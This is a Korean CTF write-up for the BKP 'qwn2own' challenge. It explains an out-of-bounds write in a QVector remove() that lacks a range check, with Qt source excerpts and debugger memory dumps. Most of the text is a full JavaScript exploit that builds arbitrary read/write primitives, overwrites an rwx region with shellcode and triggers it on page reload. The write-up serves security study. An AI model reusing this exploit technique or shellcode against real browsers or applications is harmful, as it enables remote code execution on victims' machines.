BKP CTF qwn2own
코드에서 보다시피 범위에 대한 Check 부분이 대부분 없어서 Out Of Bounds
취약점이 생기는 것을 볼 수 있다.
inst.get(N)
을 통해서 읽어 올려고 했는데 내부적으로 범위 Check 루틴이 있어서 읽어 올 수 없었다.
여러가지를 시도 해봤는데 inst.remove(N)
에서 특이한 점이 발견 되었다.
QVector<unsigned long long>::erase
...
if ( *(&this->d->0 + 2) & 0x7FFFFFFF )
{
if ( v5->ref.atomic._q_value > 1u )
{
QVector<unsigned long long>::reallocData(this, v5->size, *(&this->d->0 + 2) & 0x7FFFFFFF, 0);
v5 = this->d;
v6 = this->d->offset;
}
v8 = 8LL * v7;
memmove(v5 + v8 + v6, v5 + 8 * v3 + v8 + v6, 8LL * (v5->size - v3 - v7));
v5 = this->d;
v5->size -= v3;
v6 = v5->offset;
}
코드를 보면 remove
에서는 범위 체크 부분이 없고 , begin
과 end
의 거리를 잰 후에 memmove
함수를 통해 데이터를 끌어오고 size
를 감소시키는 방식이다.
a = [1,2,3]
데이터가 있을 때 , a.remove(-1)
를 실행 할 경우 , 데이터는 memmove
를 통해 a[-1] = 1; a[0] = 2; a[1] = 3;
로 될 것이고 size
는 감소하여 2
가 된다.
즉 , 우리는 앞에있는 데이터를 덮을 수가 있다.
이젠 무엇을 덮어야 될지가 관건이다.
QVector<T>::Data == QTypedArrayData
는 QArrayData
를 상속 받는다.
코드 : https://code.woboq.org/qt5/qtbase/src/corelib/tools/qvector.h.html#ZN7QVector6appendERKT
append 구문을 보자.
template <typename T>
void QVector<T>::append(const T &t)
{
const bool isTooSmall = uint(d->size + 1) > d->alloc;
if (!isDetached() || isTooSmall) {
T copy(t);
QArrayData::AllocationOptions opt(isTooSmall ? QArrayData::Grow : QArrayData::Default);
realloc(isTooSmall ? d->size + 1 : d->alloc, opt);
if (QTypeInfo<T>::isComplex)
new (d->end()) T(std::move(copy));
else
*d->end() = std::move(copy);
} else {
if (QTypeInfo<T>::isComplex)
new (d->end()) T(t);
else
*d->end() = t;
}
++d->size;
}
요약 하면 *d->end()
iterator 처럼 호출 하여 data 배열의 끝 주소를 가져 온 후 값을 넣는다.
end
는 data의 주소를 어떻게 가져오는 것 일까?
코드 : https://code.woboq.org/qt5/qtbase/src/corelib/tools/qarraydata.h.html#_ZN10QArrayData4dataEv
iterator end(iterator = iterator()) { return data() + size; }
void *data()
{
Q_ASSERT(size == 0
|| offset < 0 || size_t(offset) >= sizeof(QArrayData));
return reinterpret_cast<char *>(this) + offset;
}
QArrayData + offset
를 통해 data가 담긴 주소를 가져온다.
예시 )
<script>
pin = 0xdeadbeef;
db = BKPDataBase.create("AAA","BBB");
st = db.createStore("AA",1,[1,2,3,4,5,6],pin);
</script>
pwndbg> x/30gx 0x557b24ab2100
0x557b24ab2100: 0x0000000600000001 [size|ref] 0x0000557b0000000d [capacityReserved|alloc]
0x557b24ab2110: 0x0000000000000018 [offset] 0x0000000000000001 [data ...]
0x557b24ab2120: 0x0000000000000002 0x0000000000000003
0x557b24ab2130: 0x0000000000000004 0x0000000000000005
0x557b24ab2140: 0x0000000000000006
pwndbg> x/30gx 0x557b24ab2100+0x18
0x557b24ab2118: 0x0000000000000001 0x0000000000000002
0x557b24ab2128: 0x0000000000000003 0x0000000000000004
0x557b24ab2138: 0x0000000000000005 0x0000000000000006
보다시피 0x557b24ab2100(QArrayData)
에 offset
를 더하니 data 주소가 나온다.
자세히 보면, data 값 앞에 바로 offset
값이 있다.
즉, 우리는 remove(-1)
를 통해 offset
를 수정 할 수 있는 것 이다.
익스는 Array A , B 두개 만든 후 , 두개의 간격을 구한다.
A의 oob를 통해 B의 offset 필드를 수정하여 Arbitrary Address Read , Write 를 하여 rwx 공간을 찾는다.
JIT이용해서 rwx 공간을 만들어서 익스를 하려고 했지만 , 그렇게 안해도 rwx 공간이 있길래 덮고 새로고침했더니 익스가 되었다.
function JIT(b) {
for(i = 0; i < 0x40000; i ++) {
a = i;
b = a ^ i;
a += b;
a ^= 0xcafeb00b;
}
return a;
}
function print(x){
document.write(x+"<br>");
}
function assert(condition,x) {
if(!condition) {
alert(x);
location.href = location.href
}
}
function hex(d) {
return "0x" + d.toString(16);
}
//ab = ArrayBuffer(8);
f64 = new Float64Array(1);
u32 = new Uint32Array(f64.buffer);
db = BKPDataBase.create("AAA","BBB");
for(i=0; i<1400; i++)
db.createStore(i.toString(16),1,[0,1],0xcafebabe);
st = db.createStore("AA",1,[0,1],0xdeadbeef);
st.remove(-1);
st.insert(0,0x7fffffff00000000); //size -> 0x7fffffff
print("size : " + hex(st.get(0)));
st_addr = -1;
for(i=1; i<100; i++){
if(st.get(i-1) == 0x1 && st.get(i) == 0x000000050000000a){
st_addr = st.get(i+1);
break;
}
}
assert(st_addr!=-1,"st_addr");
st_addr = st_addr - 0x38;
print("st_array : " + hex(st_addr));
vicst = db.createStore("CC",1,[0xccbabecccc,0xccbabecccd],0x10101010);
var vicst_addr = -1;
var vicst_offset_idx = -1;
for(i=1; i < 0x500; i++){
if(st.get(i) == 0xccbabecccc && st.get(i+1) == 0xccbabecccd && st.get(i+2) == 0x10101010){
vicst_addr = st_addr + (i-3) * 8;
vicst_offset_idx = i - 1;
break;
}
}
assert(vicst_addr!=-1,"vicst_addr");
print("vicst_addr : " + hex(vicst_addr));
print("vicst_offset_idx : " + hex(vicst_offset_idx));
for(i=1; i < 0x500; i++){
if(st.get(i) == vicst_addr){
qtcore = st.get(i+1);
break;
}
}
assert(qtcore!=-1,"qtcore_addr");
qtcore = qtcore - 0x3592c0;
print("qtcore_addr : " + hex(qtcore));
function read(addr) {
st.insert(vicst_offset_idx , addr - vicst_addr);
return vicst.get(0);
}
function write(addr,value) {
st.insert(vicst_offset_idx , addr - vicst_addr);
vicst.insert(0,value);
}
map = -1;
for(i=1; i < 0x1000; i++){
if(st.get(i) == 0x0000215e00000000){
map = st.get(i+8);
break;
}
}
assert(map!=-1,"map");
print("map : " + hex(map));
rwx = read(map+0x3728)
print("rwx : " + hex(rwx));
//shellcode = [0xb848686a, 0x6e69622f, 0x732f2f2f, 0xe7894850, 0x1697268, 0x24348101, 0x1010101, 0x6a56f631, 0x1485e08, 0x894856e6, 0x6ad231e6, 0x50f583b]
shellcode = [257440106, 3229960197, 535515253, 1459645023, 607423816, 1784296683, 2370327040, 996811796, 1778716504, 826824764, 3892645887, 4294967260, 1920169263, 1852400175, 1869506351, 1663919469, 1969450081, 1869898092, 3353870450, 1157627903, 1280332617, 977099073, 1094778928, 1094795585, 1094795585, 1094795585, 1094795585, 1094795585]; //calc
ok = false;
for(i=1; i < 0x1000; i++){
a = read(rwx+i).toString(16);
a = a.substring(a.length-2,a.length);
b = read(rwx+i+1).toString(16);
b = b.substring(b.length-2,b.length);
if(a+b == "ffe0") { //jmp rax
print("jmp rax in rwx address " + hex(rwx+i));
for(j = 0; j < shellcode.length; j++){
ok = true;
write(rwx+i + 4 * j,shellcode[j]);
}
}
}
assert(ok==true,"ok");
alert("calc will be executed a few seconds later.");
location.reload(); //go shellcode
Leave a Reply